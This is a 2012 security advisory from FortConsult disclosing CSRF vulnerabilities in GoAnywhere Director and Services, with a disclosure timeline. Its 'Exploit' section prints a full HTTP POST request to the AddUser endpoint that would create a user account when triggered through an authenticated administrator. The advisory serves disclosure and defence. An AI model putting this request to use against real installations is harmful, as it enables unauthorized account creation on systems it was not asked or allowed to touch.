FORTCONSULT

Straight talk on IT security

SECURITY ADVISORY

ID: FCSA1201

GoAnywhere Director & GoAnywhere Services

Cross Site Request Forgery (CSRF) vulnerabilities

Background

GoAnywhere Director™ will streamline and secure the exchange of data with your customers, trading partners and enterprise servers. GoAnywhere Director is a flexible solution that connects to almost any server or data source using a wide variety of standard and secure protocols.

http://www.goanywheremft.com/products/director

GoAnywhere Services™ allows trading partners (both internal and external) to securely connect to your system and exchange files within a fully managed and audited solution. Popular file transfer and encryption standards are supported without the need for proprietary client software.

http://www.goanywheremft.com/products/services

Description

CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.

https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29

Analysis

As there is no CSRF protection a malicious hacker can for example add users by a CSRF attack. A malicious hacker can for example create an administrative user in the application by attacking a current administrator with CSRF.

Exploit

A POST example:

```
POST /gaservices/security/AddUser.jsf HTTP/1.1
Host: mftservice.test.com:9001
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: https://mftservice.test.com:9001/gaservices/security/ListUsers.jsf
```

```
Cookie: JSESSIONID=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX;
JSESSIONID=YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
Content-Type: application/x-www-form-urlencoded
Content-Length: 518

name=testFC&description=&password1=&password2=&email=&AddUserForm%3AuserGroups%3Asource%3A%3A0=1002&AddUserForm%3AuserGroups%3Asource%3A%3A1=1001&AddUserForm%3AuserGroups=%3A&AddUserForm%3AuserGroupsvalueKeeper=&AddUserForm%3AhomeDirectory=*DOCROOT%2F*USER&AddUserForm%3Arestricted=true&AddUserForm%3AfilePermissions=3&AddUserForm%3Aj_id_jsp_68101287_47=Save&AddUserForm_SUBMIT=1&javax.faces.ViewState=P35qHQJmym%2FynclQ2RA5p4Ya%2F%2BF1M1nMzm6gv5Hqw2dkohX3kuQoz1ebzhFOtQCw2fin0pqFaTQ1Ph5Pxfe7tNuIRn4RhjgG5owH7pzh19A%3D
```

CVE Reference

N/A at the release time.

Disclosure Timeline

21 February 2012 – Vulnerability found.

February 2012 – Vendor Notification by a 3rd party.

13 March 2012 – Public Disclosure.

The Security Research Team

This advisory has been discovered by FortConsult's Security Research Team/Yaniv Miron & Marcel Carlsson.

About FortConsult

FortConsult provides independent security assessment services, including penetration testing and PCI DSS assessment service internationally to customers, such as financial services companies, banks, acquirers, service providers and merchants.

See www.fortconsult.com for more information about FortConsult.

Or contact us at +45 7020 7525 or info@fortconsult.net.

Copyright and Disclaimer